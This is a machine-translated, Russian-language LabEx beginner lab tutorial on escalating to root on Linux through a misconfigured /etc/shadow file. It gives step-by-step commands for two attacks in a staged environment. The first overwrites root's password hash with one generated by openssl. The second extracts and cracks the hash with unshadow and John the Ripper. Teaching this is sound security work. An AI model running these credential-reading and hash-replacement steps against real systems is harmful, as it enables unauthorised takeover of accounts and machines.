Повышение привилегий в Linux с использованием файла /etc/shadow

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

Системы Linux используют файлы /etc/passwd и /etc/shadow для аутентификации пользователей и контроля доступа. Если системные администраторы неправильно настроят разрешения или содержимое этих файлов, это может создать возможности для атак по эскалации привилегий. В этом лабораторном занятии (LabEx) вы узнаете, как использовать файл /etc/shadow для получения привилегий суперпользователя (root) на системе Linux. В этом сценарии предполагается, что вы уже получили первоначальный доступ к оболочке (shell) с низкими привилегиями как обычный пользователь.


Skills Graph

Понимание файла /etc/shadow

В этом шаге вы узнаете о структуре и назначении файла /etc/shadow.

Файл /etc/shadow хранит зашифрованные пароли и конфигурационную информацию, связанную с паролями, для каждой учетной записи пользователя. Каждая строка в файле представляет одного пользователя и содержит 9 полей, разделенных двоеточием:

  1. Имя пользователя (Username)
  2. Хэш зашифрованного пароля (Encrypted password hash)
  3. Количество дней с начала эпохи (1970-01-01), когда пароль был последний раз изменен
  4. Минимальное количество дней, которое должно пройти между изменениями пароля
  5. Максимальное количество дней, в течение которых пароль действителен
  6. Количество дней до истечения срока действия пароля, за которое пользователю выдается предупреждение
  7. Количество дней после истечения срока действия пароля, по истечении которых учетная запись будет отключена
  8. Количество дней с начала эпохи (1970-01-01), по истечении которых учетная запись будет отключена
  9. Резервное поле для будущего использования

Откройте терминал и перейдите в каталог /home/labex/project.

cd /home/labex/project

Проверим запись пользователя labex в файле /etc/shadow:

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

Обратите внимание, что мы использовали sudo для чтения файла /etc/shadow. Это связано с тем, что этот файл может быть прочитан только пользователем с правами суперпользователя (root).

Проверьте содержимое файла labex_shadow.txt:

cat labex_shadow.txt

Пример вывода:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

Эта строка означает:

  • Имя пользователя: labex
  • Хэш зашифрованного пароля: $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • Последнее изменение пароля: 19818 дней с начала эпохи (1970-01-01)
  • Минимальный срок действия пароля: 0 дней (нет ограничений)
  • Максимальный срок действия пароля: 99999 дней (без истечения срока)
  • Период предупреждения о пароле: 7 дней до истечения срока
  • Учетная запись никогда не истекает

По умолчанию только пользователь с правами суперпользователя (root) может читать и изменять файл /etc/shadow. Однако неправильно настроенные (misconfigured) разрешения могут иногда создать возможности для эскалации привилегий.

Эскалация привилегий с помощью доступа на запись к файлу /etc/shadow

В этом шаге вы узнаете, как эскалировать привилегии, изменив пароль суперпользователя (root) в файле /etc/shadow, если у вас есть доступ на запись к этому файлу.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project:

    cd /home/labex/project

    В этом каталоге вы найдете скрипт с именем env_setup_1.sh. Запустите этот скрипт для настройки среды:

    ./env_setup_1.sh

    Это настроит среду и переключит вас на пользователя user001, имитируя первоначальный доступ к оболочке (shell) с низкими привилегиями.

    Перейдите в домашний каталог пользователя user001:

    cd ~
  2. Затем проверьте разрешения файла /etc/shadow:

    ls -alh /etc/shadow

    Пример вывода:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    Вы должны увидеть, что пользователь user001 имеет доступ на запись к файлу /etc/shadow из-за неправильной настройки (misconfiguration).

  3. Теперь вы можете отредактировать файл /etc/shadow и заменить хэш пароля суперпользователя (root) новым.

    Сначала просмотрите текущий хэш пароля суперпользователя:

    cat /etc/shadow | grep root

    Пример вывода:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Чтобы установить новый пароль (например, pass123), сгенерируйте новый хэш пароля с помощью утилиты openssl:

    openssl passwd -1 -salt ignite pass123

    Пример вывода:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. Откройте файл /etc/shadow в текстовом редакторе и замените хэш пароля суперпользователя новым.

    nano /etc/shadow

    Найдите хэш пароля суперпользователя:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Замените хэш пароля новым:

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    Сохраните изменения и выйдите из редактора.

  5. Наконец, используйте команду su root, чтобы переключиться на суперпользователя (root), введя новый пароль pass123 при запросе.

    su root

Теперь у вас должны быть привилегии суперпользователя на системе.

Эскалация привилегий с помощью доступа на чтение к файлу /etc/shadow

В этом шаге вы узнаете, как эскалировать привилегии, взломав хэш пароля суперпользователя (root), если у вас есть только доступ на чтение к файлу /etc/shadow.

После предыдущего шага вы должны быть в режиме пользователя root. Вы можете открыть новый терминал или использовать команду exit, чтобы выйти из текущего пользователя, пока не вернетесь к пользователю labex.

  1. Когда вы находитесь в режиме пользователя labex, перейдите в каталог /home/labex/project:

    cd /home/labex/project

    Запустите скрипт env_setup_2.sh для настройки среды:

    ./env_setup_2.sh

    Это создаст новую среду, в которой пользователь user001 имеет доступ на чтение к файлу /etc/shadow.

    Перейдите в домашний каталог пользователя user001:

    cd ~
  2. Проверьте разрешения файла /etc/shadow:

    ls -alh /etc/shadow

    Пример вывода:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    Вы должны увидеть, что пользователь user001 имеет доступ на чтение к файлу /etc/shadow из - за неправильной настройки (misconfiguration).

  3. Затем мы можем использовать инструмент john для взлома хэша пароля суперпользователя (root). Перед использованием john вам нужно объединить содержимое файлов /etc/passwd и /etc/shadow с помощью команды unshadow:

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. Теперь запустите john на файле shadow_crack.txt, чтобы взломать хэш пароля суперпользователя (root) и сохранить взломанные пароли в файл:

    john --users=root shadow_crack.txt > cracked_passwords.txt

    Проверьте содержимое файла cracked_passwords.txt, чтобы увидеть взломанный пароль:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. Наконец, используйте команду su root, чтобы переключиться на суперпользователя (root), введя взломанный пароль study при запросе:

    su root

Теперь у вас должны быть привилегии суперпользователя на системе.

Итог

В этом лабораторном занятии (LabEx) вы узнали о структуре и назначении файла /etc/shadow, а также о двух методах эскалации привилегий с использованием этого файла: изменении хэша пароля суперпользователя (root) при наличии доступа на запись или взломе хэша пароля суперпользователя при наличии доступа на чтение. Эти методы показывают важность правильной настройки разрешений файлов и защиты конфиденциальных системных файлов в среде Linux.